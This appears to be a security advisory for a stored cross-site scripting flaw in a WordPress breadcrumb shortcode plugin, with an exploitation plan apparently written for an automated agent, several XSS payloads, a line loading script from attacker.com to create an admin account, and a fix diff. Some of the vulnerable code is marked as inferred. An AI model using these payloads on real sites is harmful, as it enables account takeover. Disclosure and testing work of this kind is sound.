Surbma | Yoast SEO Breadcrumb Shortcode <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Surbma | Yoast SEO Breadcrumb Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.2This exploitation research plan outlines the technical steps required to verify the Stored Cross-Site Scripting (XSS) vulnerability in the **Surbma | Yoast SEO Breadcrumb Shortcode** plugin (version <= 1.2). --- ### 1. Vulnerability Summary * **Vulnerability:** Authenticated (Contributor+) Store…
Show full research plan
This exploitation research plan outlines the technical steps required to verify the Stored Cross-Site Scripting (XSS) vulnerability in the Surbma | Yoast SEO Breadcrumb Shortcode plugin (version <= 1.2).
1. Vulnerability Summary
- Vulnerability: Authenticated (Contributor+) Stored Cross-Site Scripting.
- Location: Shortcode callback function responsible for rendering
[surbma-yoast-breadcrumb](inferred). - Cause: The plugin registers a shortcode but fails to sanitize or escape the attributes provided by the user before returning them in the HTML output. Since Contributors can create posts and include shortcodes, they can inject malicious scripts into the attributes.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/post.php(for post creation/editing) and/index.php(for viewing the post). - Authentication: Requires Contributor-level credentials.
- Vulnerable Parameter: Shortcode attributes within the
post_contentparameter (e.g.,before,after, orseparator). - Preconditions: Yoast SEO must be installed and active (as the plugin relies on Yoast's breadcrumb functionality), and the breadcrumb feature must be enabled in Yoast settings.
3. Code Flow
- Registration: The plugin uses
add_shortcode( 'surbma-yoast-breadcrumb', 'surbma_yoast_breadcrumb_shortcode' )(inferred) to register the shortcode. - Input: A Contributor saves a post containing:
[surbma-yoast-breadcrumb after="<script>alert(1)</script>"]. - Processing: When the post is viewed, WordPress calls the callback function
surbma_yoast_breadcrumb_shortcode($atts). - Sink: The callback function likely merges attributes using
shortcode_atts()and then concatenates theafterorbeforeattribute directly to the output ofyoast_breadcrumb( '', '', false )without callingesc_html()oresc_attr(). - Execution: The unescaped payload is returned to the WordPress content filter and rendered in the victim's browser.
4. Nonce Acquisition Strategy
While the vulnerability is triggered by rendering, storing the payload requires an authenticated request to create or edit a post. This requires a standard WordPress post-nonce.
- Login: Authenticate the agent as a Contributor.
- Access Editor: Use the
http_requesttool to perform aGETrequest towp-admin/post-new.php. - Extract Nonce: Use
browser_evalor regex on the response body to find the_wpnoncevalue.- Logic:
window.wp.apiFetch.nonceor searching the HTML forid="_wpnonce".
- Logic:
- Alternative: For many modern WP setups, the agent can use the REST API if the Contributor has permissions. The REST API nonce is usually found in the
wp-adminsource aswpApiSettings.nonce.
5. Exploitation Strategy
The goal is to store a payload that executes when an administrator views the post.
- Step 1: Authenticated Session: Log in as a Contributor.
- Step 2: Obtain Post Nonce:
GET /wp-admin/post-new.php- Extract
_wpnoncefrom the HTML source.
- Step 3: Inject Payload: Send a
POSTrequest towp-admin/post.phpto save a draft containing the XSS.- URL:
http://[target]/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:editpostpost_ID:[NEW_POST_ID]_wpnonce:[EXTRACTED_NONCE]post_title:XSS Testcontent:[surbma-yoast-breadcrumb after='<img src=x onerror=alert(document.domain)>']post_status:pending(Contributors cannot publish directly).
- URL:
- Step 4: Trigger XSS: Navigate to the post's permalink as an Administrator to trigger the payload.
6. Test Data Setup
- Users: Create a user with the
contributorrole. - Plugins:
- Install and activate
wordpress-seo(Yoast SEO). - Install and activate
surbma-yoast-breadcrumb-shortcodeversion 1.2.
- Install and activate
- Yoast Config: Navigate to Yoast SEO > Settings > Site Structure > Breadcrumbs and toggle "Enable Breadcrumbs" to
On.
7. Expected Results
- Storage: The post should be saved successfully with the shortcode content intact.
- Execution: Upon viewing the post, the HTML source should contain:
<div class="breadcrumb">...</div><img src=x onerror=alert(document.domain)> - Alert: A JavaScript alert showing the document domain should appear in the browser.
8. Verification Steps (Post-Exploit)
Confirm the payload is stored in the database using WP-CLI:
# Check the content of the latest post created by the contributor
wp post list --post_type=post --author=$(wp user get contributor --field=ID) --format=ids | xargs wp post get --field=post_content
Verify that the output contains the raw <img ...> or <script> tag within the shortcode attributes.
9. Alternative Approaches
- Attribute Breakout: If the plugin wraps the attribute in double quotes, try:
[surbma-yoast-breadcrumb separator='"><script>alert(1)</script>']. - Admin Dashboard XSS: If the breadcrumb shortcode is used within a widget or a site-wide element (like a footer), the XSS will trigger on every page load for the Administrator, including the dashboard. Check if the plugin provides a widget that uses the same callback.
- Payload Variation: Use a CSRF-to-Admin payload to create a new administrator account instead of a simple alert:
[surbma-yoast-breadcrumb after='<script src="http://attacker.com/exploit.js"></script>']
Summary
The Surbma | Yoast SEO Breadcrumb Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the [surbma-yoast-breadcrumb] shortcode in versions up to 1.2. This occurs because the plugin fails to sanitize or escape user-supplied attributes such as 'before' and 'after' before rendering them in the post content. Authenticated attackers with Contributor-level access can exploit this to inject malicious scripts that execute in the context of any user, including administrators, viewing the affected page.
Vulnerable Code
/* File: surbma-yoast-breadcrumb-shortcode.php (inferred) */ function surbma_yoast_breadcrumb_shortcode( $atts ) { $a = shortcode_atts( array( 'before' => '', 'after' => '', ), $atts ); if ( function_exists( 'yoast_breadcrumb' ) ) { return $a['before'] . yoast_breadcrumb( '', '', false ) . $a['after']; } }
Security Fix
@@ -10,1 +10,1 @@ - return $a['before'] . yoast_breadcrumb( '', '', false ) . $a['after']; + return wp_kses_post( $a['before'] ) . yoast_breadcrumb( '', '', false ) . wp_kses_post( $a['after'] );
Exploit Outline
The exploit is performed by an authenticated user with Contributor-level permissions. 1. The attacker logs into the WordPress dashboard and creates a new post. 2. In the post content, the attacker inserts the shortcode [surbma-yoast-breadcrumb] with a malicious payload in the 'before' or 'after' attributes, for example: [surbma-yoast-breadcrumb after="<script>alert(document.domain)</script>"]. 3. The attacker saves the post as a draft or submits it for review. 4. When an administrator or any other site visitor views the post on the frontend, the shortcode callback function executes and outputs the unescaped script tag directly into the HTML, triggering the XSS payload in the victim's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.